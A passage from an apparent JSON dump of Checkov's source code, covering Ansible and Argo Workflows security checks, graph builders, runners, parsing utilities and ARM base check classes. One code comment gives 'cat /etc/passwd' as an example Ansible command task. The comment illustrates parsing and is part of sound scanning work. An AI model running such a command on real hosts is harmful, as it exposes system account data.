    "content": "from __future__ import annotations\n\nfrom checkov.ansible.checks.base_ansible_task_value_check import BaseAnsibleTaskValueCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\n\n\nclass YumValidateCerts(BaseAnsibleTaskValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that certificate validation isn't disabled with yum\"\n        id = \"CKV_ANSIBLE_3\"\n        super().__init__(\n            name=name,\n            id=id,\n            categories=(CheckCategories.GENERAL_SECURITY,),\n            supported_modules=(\"ansible.builtin.yum\", \"yum\"),\n            missing_block_result=CheckResult.PASSED,\n        )\n\n    def get_inspected_key(self) -> str:\n        return \"validate_certs\"\n\n\ncheck = YumValidateCerts()\n"
  },
  {
    "path": "checkov/ansible/checks/task/builtin/__init__.py",
    "content": "from pathlib import Path\n\nmodules = Path(__file__).parent.glob(\"*.py\")\n__all__ = [f.stem for f in modules if f.is_file() and not f.stem == \"__init__\"]\n"
  },
  {
    "path": "checkov/ansible/graph_builder/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/ansible/graph_builder/graph_components/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/ansible/graph_builder/graph_components/resource_types.py",
    "content": "from enum import Enum\n\n\nclass ResourceType(str, Enum):\n    BLOCK = \"block\"\n    TASKS = \"tasks\"\n\n    def __str__(self) -> str:\n        # needed, because of a Python 3.11 change\n        return self.value\n"
  },
  {
    "path": "checkov/ansible/graph_builder/local_graph.py",
    "content": "from __future__ import annotations\n\nimport logging\nfrom pathlib import Path\nfrom typing import Any\n\nfrom checkov.common.graph.graph_builder import CustomAttributes\nfrom checkov.common.graph.graph_builder.consts import GraphSource, SELF_REFERENCE\nfrom checkov.common.graph.graph_builder.graph_components.block_types import BlockType\nfrom checkov.common.graph.graph_builder.graph_components.blocks import Block\nfrom checkov.common.runners.graph_builder.local_graph import ObjectLocalGraph\nfrom checkov.common.util.consts import START_LINE, END_LINE\nfrom checkov.ansible.graph_builder.graph_components.resource_types import ResourceType\nfrom checkov.ansible.utils import get_scannable_file_paths, TASK_RESERVED_KEYWORDS, parse_file\nfrom checkov.common.util.data_structures_utils import pickle_deepcopy\n\n\nclass AnsibleLocalGraph(ObjectLocalGraph):\n    def __init__(self, definitions: dict[str | Path, dict[str, Any] | list[dict[str, Any]]]) -> None:\n        super().__init__(definitions=definitions)\n\n        self.source = GraphSource.ANSIBLE\n\n    def _create_vertices(self) -> None:\n        for file_path, definition in self.definitions.items():\n            if not isinstance(definition, list):\n                logging.debug(f\"definition of file {file_path} has the wrong type {type(definition)}\")\n                continue\n\n            file_path = str(file_path)\n\n            for code_block in definition:\n                if ResourceType.TASKS in code_block:\n                    tasks = code_block[ResourceType.TASKS]\n                    if tasks:  # Check if tasks is not None and not empty\n                        for task in tasks:\n                            self._process_blocks(file_path=file_path, task=task)\n                    else:\n                        self._process_blocks(file_path=file_path, task=code_block)\n                else:\n                    self._process_blocks(file_path=file_path, task=code_block)\n\n    def _process_blocks(self, file_path: str, task: Any, prefix: str = \"\") -> None:\n        \"\"\"Checks for possible block usage\"\"\"\n\n        if not task or not isinstance(task, dict):\n            return\n\n        if ResourceType.BLOCK in task and isinstance(task[ResourceType.BLOCK], list):\n            prefix += f\"{ResourceType.BLOCK}.\"  # with each nested level an extra block prefix is added\n            self._create_block_vertices(file_path=file_path, block=task, prefix=prefix)\n\n            for block_task in task[ResourceType.BLOCK]:\n                self._process_blocks(file_path=file_path, task=block_task, prefix=prefix)\n        else:\n            self._create_tasks_vertices(file_path=file_path, task=task, prefix=prefix)\n\n    def _create_tasks_vertices(self, file_path: str, task: Any, prefix: str = \"\") -> None:\n        \"\"\"Creates tasks vertices\"\"\"\n\n        if not task or not isinstance(task, dict):\n            return\n\n        # grab the task name at the beginning before trying to find the actual module name\n        task_name = task.get(\"name\") or \"unknown\"\n\n        for name, config in task.items():\n            if name in TASK_RESERVED_KEYWORDS:\n                continue\n            if name in (START_LINE, END_LINE):\n                continue\n            if isinstance(config, list):\n                # either it is actually not an Ansible file or a playbook without tasks refs\n                continue\n\n            resource_type = f\"{ResourceType.TASKS}.{prefix}{name}\"\n\n            if isinstance(config, str):\n                # this happens when modules have no parameters and are directly used with the user input\n                # ex. ansible.builtin.command: cat /etc/passwd\n                config = {SELF_REFERENCE: config}\n            elif config is None:\n                # this happens when modules have no parameters and are passed no value\n                # ex. amazon.aws.ec2_instance_info:\n                config = {\n                    START_LINE: task[START_LINE],\n                    END_LINE: task[END_LINE],\n                }\n\n            if not isinstance(config, dict):\n                # either it is actually not an Ansible file or a playbook without tasks refs\n                continue\n\n            attributes = pickle_deepcopy(config)\n            attributes[CustomAttributes.RESOURCE_TYPE] = resource_type\n\n            # only the module code is relevant for validation,\n            # but in the check result the whole task should be visible\n            attributes[START_LINE] = task[START_LINE]\n            attributes[END_LINE] = task[END_LINE]\n\n            self.vertices.append(\n                Block(\n                    name=f\"{resource_type}.{task_name}\",\n                    config=task,\n                    path=file_path,\n                    block_type=BlockType.RESOURCE,\n                    attributes=attributes,\n                    id=f\"{resource_type}.{task_name}\",\n                    source=self.source,\n                )\n            )\n\n            # no need to further check\n            break\n\n    def _create_block_vertices(self, file_path: str, block: dict[str, Any], prefix: str = \"\") -> None:\n        \"\"\"Creates block vertices\"\"\"\n\n        # grab the block name, if it exists\n        block_name = block.get(\"name\") or \"unknown\"\n\n        config = block\n        attributes = pickle_deepcopy(config)\n        attributes[CustomAttributes.RESOURCE_TYPE] = ResourceType.BLOCK\n        del attributes[ResourceType.BLOCK]  # the real block content are tasks, which have their own vertices\n\n        self.vertices.append(\n            Block(\n                name=f\"{ResourceType.BLOCK}.{block_name}\",\n                config=config,\n                path=file_path,\n                block_type=BlockType.RESOURCE,\n                attributes=attributes,\n                id=f\"{prefix}{block_name}\",\n                source=self.source,\n            )\n        )\n\n    def _create_edges(self) -> None:\n        return None\n\n    @staticmethod\n    def get_files_definitions(root_folder: str | Path) -> dict[str | Path, dict[str, Any] | list[dict[str, Any]]]:\n        definitions: \"dict[str | Path, dict[str, Any] | list[dict[str, Any]]]\" = {}\n        file_paths = get_scannable_file_paths(root_folder=root_folder)\n\n        for file_path in file_paths:\n            try:\n                result = parse_file(f=file_path)\n                if result is not None:\n                    definitions[file_path] = result[0]\n            except Exception as err:\n                logging.warning(f'fail to pars file {file_path}, {err}')\n\n        return definitions\n"
  },
  {
    "path": "checkov/ansible/runner.py",
    "content": "from __future__ import annotations\n\nfrom typing import TYPE_CHECKING, Any\n\nfrom checkov.common.graph.checks_infra.registry import BaseRegistry\n\nfrom checkov.ansible.checks.registry import registry\nfrom checkov.ansible.graph_builder.graph_components.resource_types import ResourceType\nfrom checkov.ansible.graph_builder.local_graph import AnsibleLocalGraph\nfrom checkov.ansible.utils import get_relevant_file_content, build_definitions_context, generate_task_name\nfrom checkov.common.output.report import CheckType\nfrom checkov.common.util.consts import START_LINE, END_LINE\nfrom checkov.yaml_doc.runner import Runner as YamlRunner\n\nif TYPE_CHECKING:\n    from checkov.common.checks.base_check_registry import BaseCheckRegistry\n    from checkov.common.typing import LibraryGraphConnector\n    from checkov.common.runners.graph_builder.local_graph import ObjectLocalGraph\n    from checkov.common.runners.graph_manager import ObjectGraphManager\n    from collections.abc import Iterable\n\n\nclass Runner(YamlRunner):\n    check_type = CheckType.ANSIBLE  # noqa: CCE003  # a static attribute\n\n    def __init__(\n        self,\n        db_connector: LibraryGraphConnector | None = None,\n        source: str = \"Ansible\",\n        graph_class: type[ObjectLocalGraph] = AnsibleLocalGraph,\n        graph_manager: ObjectGraphManager | None = None,\n        external_registries: list[BaseRegistry] | None = None,\n    ) -> None:\n        super().__init__(\n            db_connector=db_connector,\n            source=source,\n            graph_class=graph_class,\n            graph_manager=graph_manager,\n        )\n\n    def require_external_checks(self) -> bool:\n        return False\n\n    def import_registry(self) -> BaseCheckRegistry:\n        return registry\n\n    @staticmethod\n    def _parse_file(\n        f: str, file_content: str | None = None\n    ) -> tuple[dict[str, Any] | list[dict[str, Any]], list[tuple[int, str]]] | None:\n        content = get_relevant_file_content(file_path=f)\n        if content:\n            return YamlRunner._parse_file(f=f, file_content=content)\n\n        return None\n\n    def get_resource(\n        self,\n        file_path: str,\n        key: str,\n        supported_entities: Iterable[str],\n        start_line: int = -1,\n        end_line: int = -1,\n        graph_resource: bool = False,\n    ) -> str:\n        if not self.definitions or not isinstance(self.definitions, dict):\n            return key\n\n        resource_name = self.generate_resource_name(start_line, end_line, self.definitions[file_path])\n        return resource_name if resource_name else key\n\n    def generate_resource_name(\n        self,\n        start_line: int,\n        end_line: int,\n        file_conf: dict[str, Any] | list[dict[str, Any]],\n        resource_key: str | None = None,\n    ) -> str | None:\n        if not isinstance(file_conf, list):\n            return resource_key\n\n        for code_block in file_conf:\n            if code_block[START_LINE] <= start_line <= end_line <= code_block[END_LINE]:\n                if ResourceType.TASKS in code_block:\n                    for task in code_block[ResourceType.TASKS]:\n                        if task[START_LINE] <= start_line <= end_line <= task[END_LINE]:\n                            if ResourceType.BLOCK in task:\n                                resource_name = self._handle_block_tasks(\n                                    start_line=start_line,\n                                    end_line=end_line,\n                                    code_block=task,\n                                )\n                                if resource_name is not None:\n                                    return resource_name\n                            return generate_task_name(task=task) or resource_key\n                elif ResourceType.BLOCK in code_block:\n                    resource_name = self._handle_block_tasks(\n                        start_line=start_line,\n                        end_line=end_line,\n                        code_block=code_block,\n                    )\n                    if resource_name is not None:\n                        return resource_name\n                else:\n                    return generate_task_name(task=code_block) or resource_key\n\n        return resource_key\n\n    def _handle_block_tasks(\n        self, start_line: int, end_line: int, code_block: dict[str, Any], prefix: str = \"\"\n    ) -> str | None:\n        for block_task in code_block[ResourceType.BLOCK]:\n            if block_task[START_LINE] <= start_line <= end_line <= block_task[END_LINE]:\n                prefix += f\"{ResourceType.BLOCK}.\"  # with each nested level an extra block prefix is added\n                if ResourceType.BLOCK in block_task:\n                    resource_name = self._handle_block_tasks(\n                        start_line=start_line,\n                        end_line=end_line,\n                        code_block=block_task,\n                        prefix=prefix,\n                    )\n                    if resource_name is not None:\n                        return resource_name\n                return generate_task_name(task=block_task, prefix=prefix)\n\n        return None\n\n    def build_definitions_context(\n        self,\n        definitions: dict[str, dict[str, Any] | list[dict[str, Any]]],\n        definitions_raw: dict[str, list[tuple[int, str]]],\n    ) -> dict[str, dict[str, Any]]:\n        return build_definitions_context(definitions=definitions, definitions_raw=definitions_raw)\n\n    def set_definitions_raw(self, definitions_raw: dict[str, list[tuple[int, str]]]) -> None:\n        self.definitions_raw = definitions_raw\n"
  },
  {
    "path": "checkov/ansible/utils.py",
    "content": "from __future__ import annotations\n\nimport logging\nimport os\nimport re\nfrom pathlib import Path\nfrom typing import Any, List\n\nfrom checkov.ansible.graph_builder.graph_components.resource_types import ResourceType\nfrom checkov.common.parallelizer.parallel_runner import parallel_runner\nfrom checkov.common.parsers.yaml.parser import parse\nfrom checkov.common.resource_code_logger_filter import add_resource_code_filter_to_logger\nfrom checkov.common.runners.base_runner import filter_ignored_paths\nfrom checkov.common.util.consts import START_LINE, END_LINE\nfrom checkov.common.util.file_utils import read_file_with_any_encoding\nfrom checkov.common.util.suppression import collect_suppressions_for_context\nfrom checkov.runner_filter import RunnerFilter\n\nTASK_NAME_PATTERN = re.compile(r\"^\\s*-\\s+name:\\s+\", re.MULTILINE)\n\n# https://docs.ansible.com/ansible/latest/reference_appendices/playbooks_keywords.html#task\nTASK_RESERVED_KEYWORDS = {\n    \"action\",\n    \"any_errors_fatal\",\n    \"args\",\n    \"async\",\n    \"become\",\n    \"become_exe\",\n    \"become_flags\",\n    \"become_method\",\n    \"become_user\",\n    \"changed_when\",\n    \"check_mode\",\n    \"collections\",\n    \"connection\",\n    \"debugger\",\n    \"delay\",\n    \"delegate_facts\",\n    \"delegate_to\",\n    \"diff\",\n    \"environment\",\n    \"failed_when\",\n    \"ignore_errors\",\n    \"ignore_unreachable\",\n    \"local_action\",\n    \"loop\",\n    \"loop_control\",\n    \"module_defaults\",\n    \"name\",\n    \"no_log\",\n    \"notify\",\n    \"poll\",\n    \"port\",\n    \"register\",\n    \"remote_user\",\n    \"retries\",\n    \"run_once\",\n    \"tags\",\n    \"throttle\",\n    \"timeout\",\n    \"until\",\n    \"vars\",\n    \"when\",\n}\n\nlogger = logging.getLogger(__name__)\nadd_resource_code_filter_to_logger(logger)\n\n\ndef get_scannable_file_paths(root_folder: str | Path) -> set[Path]:\n    \"\"\"Finds yaml files\"\"\"\n\n    file_paths: set[Path] = set()\n\n    if root_folder:\n        root_path = root_folder if isinstance(root_folder, Path) else Path(root_folder)\n        file_paths = {file_path for file_path in root_path.rglob(\"*.[y][am]*[l]\") if file_path.is_file()}\n\n    return file_paths\n\n\ndef get_relevant_file_content(file_path: str | Path) -> str | None:\n    if not str(file_path).endswith((\".yaml\", \".yml\")):\n        return None\n\n    content = read_file_with_any_encoding(file_path=file_path)\n    if \"name:\" not in content:\n        # the following regex will search more precisely, but no need to further process\n        return None\n\n    match_task_name = re.search(TASK_NAME_PATTERN, content)\n    if match_task_name:\n        # there are more files, which belong to an ansible playbook,\n        # but we are currently only interested in 'tasks'\n        return content\n\n    return None\n\n\ndef parse_file(\n    f: str | Path, file_content: str | None = None\n) -> tuple[dict[str, Any] | list[dict[str, Any]], list[tuple[int, str]]] | None:\n    file_content = get_relevant_file_content(file_path=f)\n    if file_content:\n        content = parse(filename=str(f), file_content=file_content)\n        return content\n\n    return None\n\n\ndef generate_task_name(task: dict[str, Any], prefix: str = \"\") -> str | None:\n    # grab the task name at the beginning before trying to find the actual module name\n    task_name = task.get(\"name\") or \"unknown\"\n\n    for name in task:\n        if name in TASK_RESERVED_KEYWORDS:\n            continue\n\n        if prefix:\n            # if the task is found in a block, then prefix the module name with 'block'\n            name = f\"{prefix}{name}\"\n\n        return f\"{ResourceType.TASKS}.{name}.{task_name}\"\n\n    return None\n\n\ndef build_definitions_context(\n    definitions: dict[str, dict[str, Any] | list[dict[str, Any]]],\n    definitions_raw: dict[str, list[tuple[int, str]]],\n) -> dict[str, dict[str, Any]]:\n    definitions_context: dict[str, dict[str, Any]] = {}\n\n    for file_path, definition in definitions.items():\n        file_path_context: dict[str, Any] = {}\n        definition_raw = definitions_raw[file_path]\n\n        if not isinstance(definition, list):\n            logger.info(f\"File {file_path} has the wrong type {type(definition)}\")\n            continue\n\n        for code_block in definition:\n            if ResourceType.TASKS in code_block:\n                tasks = code_block[ResourceType.TASKS]\n                if tasks:  # Check if tasks is not empty\n                    for task in tasks:\n                        _process_blocks(definition_raw=definition_raw, file_path_context=file_path_context, task=task)\n                else:\n                    _process_blocks(definition_raw=definition_raw, file_path_context=file_path_context, task=code_block)\n            else:\n                _process_blocks(definition_raw=definition_raw, file_path_context=file_path_context, task=code_block)\n\n        definitions_context[file_path] = file_path_context\n\n    return definitions_context\n\n\ndef _process_blocks(\n    definition_raw: list[tuple[int, str]],\n    file_path_context: dict[str, Any],\n    task: Any,\n    prefix: str = \"\",\n) -> None:\n    \"\"\"Checks for possible block usage\"\"\"\n\n    if not task or not isinstance(task, dict):\n        return\n\n    if ResourceType.BLOCK in task and isinstance(task[ResourceType.BLOCK], list):\n        prefix += f\"{ResourceType.BLOCK}.\"  # with each nested level an extra block prefix is added\n        block_name = f\"{prefix}.{task.get('name') or 'unknown'}\"\n        resource_context = _create_resource_context(definition_raw=definition_raw, resource=task)\n        file_path_context[block_name] = resource_context\n\n        for block_task in task[ResourceType.BLOCK]:\n            _process_blocks(\n                definition_raw=definition_raw, file_path_context=file_path_context, task=block_task, prefix=prefix\n            )\n    else:\n        resource_context = _create_resource_context(definition_raw=definition_raw, resource=task)\n        task_name = generate_task_name(task=task, prefix=prefix)\n        if task_name:\n            file_path_context[task_name] = resource_context\n\n\ndef _create_resource_context(definition_raw: list[tuple[int, str]], resource: dict[str, Any]) -> dict[str, Any]:\n    \"\"\"Creates the resource context block\"\"\"\n\n    start_line = resource[START_LINE]\n    end_line = resource[END_LINE]\n    code_lines = definition_raw[start_line - 1 : end_line - 1]  # lines start with index 0\n    skipped_checks = collect_suppressions_for_context(code_lines=code_lines)\n\n    return {\n        \"start_line\": start_line,\n        \"end_line\": end_line - 1,\n        \"code_lines\": code_lines,\n        \"skipped_checks\": skipped_checks,\n    }\n\n\ndef create_definitions(\n        root_folder: str | None,\n        files: list[str] | None = None,\n        runner_filter: RunnerFilter | None = None\n) -> tuple[dict[str, dict[str, Any]], dict[str, list[tuple[int, str]]]]:\n    runner_filter = runner_filter or RunnerFilter()\n    definitions: dict[str, dict[str, Any]] = {}\n    definitions_raw: dict[str, list[tuple[int, str]]] = {}\n    if files:\n        create_file_definition(files, definitions, definitions_raw)\n\n    if root_folder:\n        for root, d_names, f_names in os.walk(root_folder):\n            filter_ignored_paths(root, d_names, runner_filter.excluded_paths)\n            filter_ignored_paths(root, f_names, runner_filter.excluded_paths)\n            files_to_load = [os.path.join(root, f_name) for f_name in f_names]\n            create_file_definition(files_to_load, definitions, definitions_raw)\n\n    return definitions, definitions_raw\n\n\ndef create_file_definition(files_to_load: List[str], definitions: dict[str, dict[str, Any]], definitions_raw: dict[str, list[tuple[int, str]]]) -> None:\n    results = parallel_runner.run_function(lambda f: (f, parse_file(f)), files_to_load)\n    for file_result_pair in results:\n        if file_result_pair is None:\n            # this only happens, when an uncaught exception occurs\n            continue\n\n        file, result = file_result_pair\n        if result:\n            (definitions[file], definitions_raw[file]) = result  # type: ignore[assignment]\n"
  },
  {
    "path": "checkov/argo_workflows/__init__.py",
    "content": "from checkov.argo_workflows.checks import *  # noqa\n"
  },
  {
    "path": "checkov/argo_workflows/checks/__init__.py",
    "content": "from checkov.argo_workflows.checks.template import *  # noqa\n"
  },
  {
    "path": "checkov/argo_workflows/checks/base_argo_workflows_check.py",
    "content": "from __future__ import annotations\n\nfrom abc import abstractmethod\nfrom collections.abc import Iterable\nfrom typing import TYPE_CHECKING, Any\n\nfrom checkov.common.checks.base_check import BaseCheck\nfrom checkov.argo_workflows.checks.registry import registry\n\nif TYPE_CHECKING:\n    from checkov.common.models.enums import CheckCategories, CheckResult\n\n\nclass BaseArgoWorkflowsCheck(BaseCheck):\n    def __init__(\n        self,\n        name: str,\n        id: str,\n        categories: Iterable[CheckCategories],\n        supported_entities: Iterable[str],\n        block_type: str,\n        path: str | None = None,\n    ) -> None:\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_entities=supported_entities,\n            block_type=block_type,\n        )\n        self.path = path\n        registry.register(self)\n\n    def scan_entity_conf(self, conf: dict[str, Any], entity_type: str) -> tuple[CheckResult, dict[str, Any]]:\n        self.entity_type = entity_type\n\n        return self.scan_conf(conf)\n\n    @abstractmethod\n    def scan_conf(self, conf: dict[str, Any]) -> tuple[CheckResult, dict[str, Any]]:\n        pass\n"
  },
  {
    "path": "checkov/argo_workflows/checks/registry.py",
    "content": "from checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.yaml_doc.base_registry import Registry\n\nregistry = Registry(CheckType.ARGO_WORKFLOWS)\n"
  },
  {
    "path": "checkov/argo_workflows/checks/template/DefaultServiceAccount.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.argo_workflows.checks.base_argo_workflows_check import BaseArgoWorkflowsCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.yaml_doc.enums import BlockType\n\n\nclass DefaultServiceAccount(BaseArgoWorkflowsCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Workflow pods are not using the default ServiceAccount\"\n        id = \"CKV_ARGO_1\"\n        super().__init__(\n            name=name,\n            id=id,\n            categories=(CheckCategories.IAM,),\n            supported_entities=(\"spec\",),\n            block_type=BlockType.OBJECT,\n        )\n\n    def scan_conf(self, conf: dict[str, Any]) -> tuple[CheckResult, dict[str, Any]]:\n        if \"serviceAccountName\" in conf.keys() and conf[\"serviceAccountName\"] != \"default\":\n            return CheckResult.PASSED, conf\n\n        return CheckResult.FAILED, conf\n\n\ncheck = DefaultServiceAccount()\n"
  },
  {
    "path": "checkov/argo_workflows/checks/template/RunAsNonRoot.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.argo_workflows.checks.base_argo_workflows_check import BaseArgoWorkflowsCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.yaml_doc.enums import BlockType\n\n\nclass RunAsNonRoot(BaseArgoWorkflowsCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Workflow pods are running as non-root user\"\n        id = \"CKV_ARGO_2\"\n        super().__init__(\n            name=name,\n            id=id,\n            categories=(CheckCategories.IAM,),\n            supported_entities=(\"spec\",),\n            block_type=BlockType.OBJECT,\n        )\n\n    def scan_conf(self, conf: dict[str, Any]) -> tuple[CheckResult, dict[str, Any]]:\n        security_context = conf.get(\"securityContext\")\n\n        if isinstance(security_context, dict) and security_context.get(\"runAsNonRoot\") is True:\n            return CheckResult.PASSED, conf\n\n        return CheckResult.FAILED, conf\n\n\ncheck = RunAsNonRoot()\n"
  },
  {
    "path": "checkov/argo_workflows/checks/template/__init__.py",
    "content": "from pathlib import Path\n\nmodules = Path(__file__).parent.glob(\"*.py\")\n__all__ = [f.stem for f in modules if f.is_file() and not f.stem == \"__init__\"]\n"
  },
  {
    "path": "checkov/argo_workflows/common/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/argo_workflows/runner.py",
    "content": "from __future__ import annotations\n\nimport re\nfrom typing import TYPE_CHECKING, Any\n\nfrom checkov.common.images.image_referencer import ImageReferencer, Image\nfrom checkov.common.output.report import CheckType\nfrom checkov.common.util.file_utils import read_file_with_any_encoding\nfrom checkov.yaml_doc.runner import Runner as YamlRunner\n\n# Import of the checks registry for a specific resource type\nfrom checkov.argo_workflows.checks.registry import registry as template_registry\n\nif TYPE_CHECKING:\n    from checkov.common.checks.base_check_registry import BaseCheckRegistry\n\nAPI_VERSION_PATTERN = re.compile(r\"^apiVersion:\\s*argoproj.io/\", re.MULTILINE)\nKIND_PATTERN = re.compile(r\"^kind:\\s*Workflow\", re.MULTILINE)\n\n\nclass Runner(YamlRunner, ImageReferencer):\n    check_type = CheckType.ARGO_WORKFLOWS  # noqa: CCE003  # a static attribute\n\n    block_type_registries = {  # noqa: CCE003  # a static attribute\n        \"template\": template_registry,\n    }\n\n    def require_external_checks(self) -> bool:\n        return False\n\n    def import_registry(self) -> BaseCheckRegistry:\n        return self.block_type_registries[\"template\"]\n\n    @staticmethod\n    def _parse_file(\n        f: str, file_content: str | None = None\n    ) -> tuple[dict[str, Any] | list[dict[str, Any]], list[tuple[int, str]]] | None:\n        content = Runner._get_workflow_file_content(file_path=f)\n        if content:\n            return YamlRunner._parse_file(f=f, file_content=content)\n\n        return None\n\n    @staticmethod\n    def _get_workflow_file_content(file_path: str) -> str | None:\n        if not file_path.endswith((\".yaml\", \".yml\")):\n            return None\n\n        content = read_file_with_any_encoding(file_path=file_path)\n        if \"argoproj.io\" not in content:\n            # the following regex will search more precisely, but no need to further process\n            return None\n\n        match_api = re.search(API_VERSION_PATTERN, content)\n        if match_api:\n            match_kind = re.search(KIND_PATTERN, content)\n            if match_kind:\n                # only scan Argo Workflows\n                return content\n\n        return None\n\n    def is_workflow_file(self, file_path: str) -> bool:\n        return self._get_workflow_file_content(file_path=file_path) is not None\n\n    def get_images(self, file_path: str) -> set[Image]:\n        \"\"\"Get container images mentioned in a file\n\n        Argo Workflows file can have a job and services run within a container.\n\n        in the following sample file we can see a node:14.16 image:\n\n        apiVersion: argoproj.io/v1alpha1\n        kind: Workflow\n        metadata:\n          generateName: template-defaults-\n        spec:\n          entrypoint: main\n          templates:\n            - name: main\n              steps:\n                - - name: retry-backoff\n                    template: retry-backoff\n                - - name: whalesay\n                    template: whalesay\n\n            - name: whalesay\n              container:\n                image: argoproj/argosay:v2\n                command: [cowsay]\n                args: [\"hello world\"]\n\n            - name: retry-backoff\n              container:\n                image: python:alpine3.6\n                command: [\"python\", -c]\n                # fail with a 66% probability\n                args: [\"import random; import sys; exit_code = random.choice([0, 1, 1]); sys.exit(exit_code)\"]\n\n        Source: https://github.com/argoproj/argo-workflows/blob/master/examples/template-defaults.yaml\n\n        :return: List of container image short ids mentioned in the file.\n        Example return value for a file with node:14.16 image: ['sha256:6a353e22ce']\n        \"\"\"\n\n        images: set[Image] = set()\n        parsed_file = self._parse_file(file_path)\n\n        if not parsed_file:\n            return images\n\n        workflow, workflow_line_numbers = parsed_file\n\n        if not isinstance(workflow, dict):\n            # make type checking happy\n            return images\n\n        spec = workflow.get(\"spec\")\n        if spec:\n            templates = spec.get(\"templates\")\n            if isinstance(templates, list):\n                for template in templates:\n                    container = template.get(\"container\")\n                    if container:\n                        image = self.extract_image(file_path=file_path, container=container)\n                        if image:\n                            images.add(image)\n                    script = template.get(\"script\")\n                    if script:\n                        image = self.extract_image(file_path=file_path, container=script)\n                        if image:\n                            images.add(image)\n\n        return images\n\n    def extract_image(self, file_path: str, container: dict[str, Any]) -> Image | None:\n        image_name = container.get(\"image\")\n        if image_name and isinstance(image_name, str):\n            start_line = container.get(\"__startline__\", 0)\n            end_line = container.get(\"__endline__\", 0)\n            return Image(\n                file_path=file_path,\n                name=image_name,\n                start_line=start_line,\n                end_line=end_line,\n            )\n\n        return None\n"
  },
  {
    "path": "checkov/arm/__init__.py",
    "content": "from checkov.arm.checks import *  # noqa\n"
  },
  {
    "path": "checkov/arm/base_parameter_check.py",
    "content": "from __future__ import annotations\n\nfrom abc import abstractmethod\nfrom collections.abc import Iterable\nfrom typing import TYPE_CHECKING, Any\n\nfrom checkov.arm.registry import arm_parameter_registry\nfrom checkov.common.checks.base_check import BaseCheck\n\nif TYPE_CHECKING:\n    from checkov.common.models.enums import CheckCategories, CheckResult\n\n\nclass BaseParameterCheck(BaseCheck):\n    def __init__(\n        self,\n        name: str,\n        id: str,\n        categories: Iterable[CheckCategories],\n        supported_resources: Iterable[str],\n        guideline: str | None = None,\n    ) -> None:\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_entities=supported_resources,\n            block_type=\"parameter\",\n            guideline=guideline,\n        )\n        self.supported_resources = supported_resources\n        arm_parameter_registry.register(self)\n\n    def scan_entity_conf(self, conf: dict[str, Any], entity_type: str) -> CheckResult:\n        self.entity_type = entity_type\n\n        return self.scan_resource_conf(conf)\n\n    @abstractmethod\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        raise NotImplementedError()\n"
  },
  {
    "path": "checkov/arm/base_registry.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.common.checks.base_check_registry import BaseCheckRegistry\n\n\nclass Registry(BaseCheckRegistry):\n    def __init__(self) -> None:\n        super().__init__(report_type=CheckType.ARM)\n\n    def extract_entity_details(self, entity: dict[str, Any]) -> tuple[str, str, dict[str, Any]]:\n        resource_name, resource = next(iter(entity.items()))\n        resource_type = str(resource.get(\"type\", \"\"))  # entity['type'] ??\n        return resource_type, resource_name, resource\n"
  },
  {
    "path": "checkov/arm/base_resource_check.py",
    "content": "from __future__ import annotations\n\nfrom abc import abstractmethod\nfrom collections.abc import Iterable\nfrom typing import Any\n\nfrom checkov.arm.registry import arm_resource_registry\nfrom checkov.bicep.checks.resource.registry import registry as bicep_registry\nfrom checkov.common.checks.base_check import BaseCheck\nfrom checkov.common.models.enums import CheckCategories, CheckResult\n\n\nclass BaseResourceCheck(BaseCheck):\n    def __init__(\n        self,\n        name: str,\n        id: str,\n        categories: \"Iterable[CheckCategories]\",\n        supported_resources: \"Iterable[str]\",\n        guideline: str | None = None,\n    ) -> None:\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_entities=supported_resources,\n            block_type=\"resource\",\n            guideline=guideline,\n        )\n        self.supported_resources = supported_resources\n        arm_resource_registry.register(self)\n        # leverage ARM checks to use with bicep runner\n        bicep_registry.register(self)\n\n    def scan_entity_conf(self, conf: dict[str, Any], entity_type: str) -> CheckResult:\n        self.entity_type = entity_type\n\n        # the \"existing\" key indicates a Bicep resource\n        if \"existing\" in conf:\n            if conf[\"existing\"] is True:\n                # the existing keyword is used to retrieve information about an already deployed resource\n                return CheckResult.UNKNOWN\n\n            self.api_version = conf[\"api_version\"]\n            conf[\"config\"][\"apiVersion\"] = conf[\"api_version\"]  # set for better reusability of existing ARM checks\n\n            resource_conf = conf[\"config\"]\n            if \"loop_type\" in resource_conf:\n                # this means the whole resource block is surrounded by a for loop\n                resource_conf = resource_conf[\"config\"]\n\n            return self.scan_resource_conf(resource_conf)\n\n        self.api_version = None\n\n        return self.scan_resource_conf(conf)\n\n    @abstractmethod\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        raise NotImplementedError()\n"
  },
  {
    "path": "checkov/arm/base_resource_negative_value_check.py",
